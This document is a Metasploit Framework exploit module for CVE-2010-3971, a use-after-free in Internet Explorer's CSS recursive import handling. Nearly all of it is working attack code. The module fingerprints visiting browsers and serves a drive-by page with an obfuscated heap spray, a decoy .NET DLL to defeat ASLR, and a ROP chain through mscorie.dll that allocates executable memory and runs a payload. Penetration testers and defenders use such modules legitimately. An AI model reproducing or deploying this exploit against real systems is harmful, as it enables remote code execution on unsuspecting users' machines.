##
# $Id: ms11_003_ie_css_import.rb 11730 2011-02-08 23:31:44Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking # Need more love for Great
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "7.0", # Should be 6
:ua_maxver => "8.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:vuln_test => nil, # no way to test without just trying it
})
def initialize(info = {})
super(update_info(info,
'Name' => 'Internet Explorer CSS Recursive Import Use After Free',
'Description' => %q{
This module exploits a memory corruption vulnerability within Microsoft\'s
HTML engine (mshtml). When parsing an HTML page containing a recursive CSS
import, a C++ object is deleted and later reused. This leads to arbitrary
code execution.
This exploit utilizes a combination of heap spraying and the
.NET 2.0 'mscorie.dll' module to bypass DEP and ASLR. This module does not
opt-in to ASLR. As such, this module should be reliable on all Windows
versions with .NET 2.0.50727 installed.
},
'License' => MSF_LICENSE,
'Author' =>
[
'passerby', # Initial discovery / report
'd0c_s4vage', # First working public exploit
'jduck' # Metasploit module (ROP, @WTFuzz spray)
],
'Version' => '$Revision: 11730 $',
'References' =>
[
[ 'CVE', '2010-3971' ],
[ 'OSVDB', '69796' ],
[ 'BID', '45246' ],
[ 'URL', 'http://www.microsoft.com/technet/security/advisory/2488013.mspx' ],
[ 'URL', 'http://www.wooyun.org/bugs/wooyun-2010-0885' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2010/Dec/110' ],
[ 'URL', 'http://xcon.xfocus.net/XCon2010_ChenXie_EN.pdf' ], # .NET 2.0 ROP (slide 25)
[ 'URL', 'http://www.breakingpointsystems.com/community/blog/ie-vulnerability/' ],
[ 'MSB', 'MS11-003' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
[ 'Internet Explorer 8',
{
'Ret' => 0x105ae020,
'OnePtrOff' => 0x18,
'DerefOff' => 0x30,
'FlagOff' => 0x54,
'CallDeref1' => 0x20,
'SignedOff' => 0x1c,
'CallDeref2' => 0x24,
'CallDeref3' => 0x00,
'CallDeref4' => 0x20,
'Deref4Off' => 0x08
}
],
[ 'Internet Explorer 7',
{
'Ret' => 0x105ae020,
'OnePtrOff' => 0x14,
'DerefOff' => 0x5c,
'FlagOff' => 0x34,
'CallDeref1' => 0x1c,
'SignedOff' => 0x18,
'CallDeref2' => 0x20,
'CallDeref3' => 0x00,
'CallDeref4' => 0x20,
'Deref4Off' => 0x08
}
],
# For now, treat the IE6 target the same as teh debug target.
[ 'Internet Explorer 6',
{
'Ret' => 0xc0c0c0c0,
'OnePtrOff' => 0x14,
'DerefOff' => 0x5c,
'FlagOff' => 0x34,
'CallDeref1' => 0x1c,
'SignedOff' => 0x18,
'CallDeref2' => 0x20,
'CallDeref3' => 0x00,
'CallDeref4' => 0x20,
'Deref4Off' => 0x08
}
],
[ 'Debug Target (Crash)',
{
'Ret' => 0xc0c0c0c0,
'OnePtrOff' => 0,
'DerefOff' => 4,
'FlagOff' => 8,
'CallDeref1' => 0xc,
'SignedOff' => 0x10,
'CallDeref2' => 0x14,
'CallDeref3' => 0x18,
'CallDeref4' => 0x1c,
'Deref4Off' => 0x20
}
]
],
# Full-disclosure post was Dec 8th, original blog Nov 29th
'DisclosureDate' => 'Nov 29 2010',
'DefaultTarget' => 0))
end
def auto_target(cli, request)
mytarget = nil
agent = request.headers['User-Agent']
#print_status("Checking user agent: #{agent}")
if agent !~ /\.NET CLR 2\.0\.50727/
print_error("#{cli.peerhost}:#{cli.peerport} Target machine does not have the .NET CLR 2.0.50727")
return nil
end
if agent =~ /MSIE 6\.0/
mytarget = targets[3]
elsif agent =~ /MSIE 7\.0/
mytarget = targets[2]
elsif agent =~ /MSIE 8\.0/
mytarget = targets[1]
else
print_error("#{cli.peerhost}:#{cli.peerport} Unknown User-Agent #{agent}")
end
mytarget
end
def on_request_uri(cli, request)
print_status("#{cli.peerhost}:#{cli.peerport} Received request for %s" % request.uri.inspect)
mytarget = target
if target.name == 'Automatic'
mytarget = auto_target(cli, request)
if (not mytarget)
send_not_found(cli)
return
end
end
#print_status("#{cli.peerhost}:#{cli.peerport} Automatically selected target: #{mytarget.name}")
buf_addr = mytarget.ret
css_name = [buf_addr].pack('V') * (16 / 4)
# We stick in a placeholder string to replace after UTF-16 encoding
placeholder = "a" * (css_name.length / 2)
uni_placeholder = Rex::Text.to_unicode(placeholder)
if request.uri == get_resource() or request.uri =~ /\/$/
print_status("#{cli.peerhost}:#{cli.peerport} Sending #{self.refname} redirect")
redir = get_resource()
redir << '/' if redir[-1,1] != '/'
redir << rand_text_alphanumeric(4+rand(4))
redir << '.html'
send_redirect(cli, redir)
elsif request.uri =~ /\.html?$/
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
print_status("#{cli.peerhost}:#{cli.peerport} Sending #{self.refname} HTML")
# Generate the ROP payload
rvas = rvas_mscorie_v2()
rop_stack = generate_rop(buf_addr, rvas)
fix_esp = rva2addr(rvas, 'leave / ret')
ret = rva2addr(rvas, 'ret')
pivot1 = rva2addr(rvas, 'call [ecx+4] / xor eax, eax / pop ebp / ret 8')
pivot2 = rva2addr(rvas, 'xchg eax, esp / mov eax, [eax] / mov [esp], eax / ret')
# Append the payload to the rop_stack
rop_stack << p.encoded
# Build the deref-fest buffer
len = 0x84 + rop_stack.length
special_sauce = rand_text_alpha(len)
# This ptr + off must contain 0x00000001
special_sauce[mytarget['OnePtrOff'], 4] = [1].pack('V')
# Pointer that is dereferenced to get the flag
special_sauce[mytarget['DerefOff'], 4] = [buf_addr].pack('V')
# Low byte must not have bit 1 set
no_bit1 = rand(0xff) & ~2
special_sauce[mytarget['FlagOff'], 1] = [no_bit1].pack('V')
# These are deref'd to figure out what to call
special_sauce[mytarget['CallDeref1'], 4] = [buf_addr].pack('V')
special_sauce[mytarget['CallDeref2'], 4] = [buf_addr].pack('V')
special_sauce[mytarget['CallDeref3'], 4] = [buf_addr + mytarget['Deref4Off']].pack('V')
# Finally, this one becomes eip
special_sauce[mytarget['CallDeref4'] + mytarget['Deref4Off'], 4] = [pivot1].pack('V')
# This byte must be signed (shorter path to flow control)
signed_byte = rand(0xff) | 0x80
special_sauce[mytarget['SignedOff'], 1] = [signed_byte].pack('C')
# These offsets become a fix_esp ret chain ..
special_sauce[0x04, 4] = [pivot2].pack('V') # part two of our stack pivot!
special_sauce[0x0c, 4] = [buf_addr + 0x84 - 4].pack('V') # becomes ebp, for fix esp
special_sauce[0x10, 4] = [fix_esp].pack('V') # our stack pivot ret's to this (fix_esp, from eax)
# Add in the rest of the ROP stack
special_sauce[0x84, rop_stack.length] = rop_stack
# Format for javascript use
special_sauce = Rex::Text.to_unescape(special_sauce)
js_function = rand_text_alpha(rand(100)+1)
# Construct the javascript
custom_js = <<-EOS
function #{js_function}() {
heap = new heapLib.ie(0x20000);
var heapspray = unescape("#{special_sauce}");
while(heapspray.length < 0x1000) heapspray += unescape("%u4444");
var heapblock = heapspray;
while(heapblock.length < 0x40000) heapblock += heapblock;
finalspray = heapblock.substring(2, 0x40000 - 0x21);
for(var counter = 0; counter < 500; counter++) { heap.alloc(finalspray); }
var vlink = document.createElement("link");
vlink.setAttribute("rel", "Stylesheet");
vlink.setAttribute("type", "text/css");
vlink.setAttribute("href", "#{placeholder}")
document.getElementsByTagName("head")[0].appendChild(vlink);
}
EOS
opts = {
'Symbols' => {
'Variables' => %w{ heapspray vlink heapblock heap finalspray counter },
'Methods' => %w{ prepare }
}
}
custom_js = ::Rex::Exploitation::ObfuscateJS.new(custom_js, opts)
js = heaplib(custom_js)
dll_uri = get_resource()
dll_uri << '/' if dll_uri[-1,1] != '/'
dll_uri << "generic-" + Time.now.to_i.to_s + ".dll"
# Construct the final page
html = <<-EOS
<html>
<head>
<script language='javascript'>
#{js}
</script>
</head>
<body onload='#{js_function}()'>
<object classid="#{dll_uri}#GenericControl">
</body>
</html>
EOS
html = "\xff\xfe" + Rex::Text.to_unicode(html)
html.gsub!(uni_placeholder, css_name)
send_response(cli, html, { 'Content-Type' => 'text/html' })
elsif request.uri =~ /\.dll$/
print_status("#{cli.peerhost}:#{cli.peerport} Sending #{self.refname} .NET DLL")
# Generate a .NET v2.0 DLL, note that it doesn't really matter what this contains since we don't actually
# use it's contents ...
ibase = (0x2000 | rand(0x8000)) << 16
dll = Msf::Util::EXE.to_dotnetmem(ibase, rand_text(16))
# Send a .NET v2.0 DLL down
send_response(cli, dll,
{
'Content-Type' => 'application/x-msdownload',
'Connection' => 'close',
'Pragma' => 'no-cache'
})
else
# Defines two different CSS import styles
import_styles = [
"@import url(\"#{placeholder}\");\n",
"@import \"#{placeholder}\";\n"
]
# Choose four imports of random style
css = ''
4.times {
css << import_styles[rand(import_styles.length)]
}
css = "\xff\xfe" + Rex::Text.to_unicode(css)
css.gsub!(uni_placeholder, css_name)
print_status("#{cli.peerhost}:#{cli.peerport} Sending #{self.refname} CSS")
send_response(cli, css, { 'Content-Type' => 'text/css' })
end
# Handle the payload
handler(cli)
end
def rvas_mscorie_v2()
# mscorie.dll version v2.0.50727.3053
# Just return this hash
{
'call [ecx+4] / xor eax, eax / pop ebp / ret 8' => 0x237e,
'xchg eax, esp / mov eax, [eax] / mov [esp], eax / ret' => 0x575b,
'leave / ret' => 0x25e5,
'ret' => 0x25e5+1,
'call [ecx] / pop ebp / ret 0xc' => 0x1ec4,
'pop eax / ret' => 0x5ba1,
'pop ebx / ret' => 0x54c0,
'pop ecx / ret' => 0x1e13,
'pop esi / ret' => 0x1d9a,
'pop edi / ret' => 0x2212,
'mov [ecx], eax / mov al, 1 / pop ebp / ret 0xc' => 0x61f6,
'movsd / mov ebp, 0x458bffff / sbb al, 0x3b / ret' => 0x6154,
}
end
def generate_rop(buf_addr, rvas)
# ROP fun! (XP SP3 English, Dec 15 2010)
rvas.merge!({
# Instructions / Name => RVA
'BaseAddress' => 0x63f00000,
'imp_VirtualAlloc' => 0x10f4
})
rop_stack = [
# Allocate an RWX memory segment
'pop ecx / ret',
'imp_VirtualAlloc',
'call [ecx] / pop ebp / ret 0xc',
0, # lpAddress
0x1000, # dwSize
0x3000, # flAllocationType
0x40, # flProt
:unused,
# Copy the original payload
'pop ecx / ret',
:unused,
:unused,
:unused,
:memcpy_dst,
'mov [ecx], eax / mov al, 1 / pop ebp / ret 0xc',
:unused,
'pop esi / ret',
:unused,
:unused,
:unused,
:memcpy_src,
'pop edi / ret',
0xdeadf00d # to be filled in above
]
(0x200 / 4).times {
rop_stack << 'movsd / mov ebp, 0x458bffff / sbb al, 0x3b / ret'
}
# Execute the payload ;)
rop_stack << 'call [ecx] / pop ebp / ret 0xc'
rop_stack.map! { |e|
if e.kind_of? String
# Meta-replace (RVA)
raise RuntimeError, "Unable to locate key: \"#{e}\"" if not rvas[e]
rvas['BaseAddress'] + rvas[e]
elsif e == :unused
# Randomize
rand_text(4).unpack('V').first
elsif e == :memcpy_src
# Based on stack length..
buf_addr + 0x84 + (rop_stack.length * 4)
elsif e == :memcpy_dst
# Store our new memory ptr into our buffer for later popping :)
buf_addr + 0x84 + (21 * 4)
else
# Literal
e
end
}
rop_stack.pack('V*')
end
def rva2addr(rvas, key)
raise RuntimeError, "Unable to locate key: \"#{key}\"" if not rvas[key]
rvas['BaseAddress'] + rvas[key]
end
end
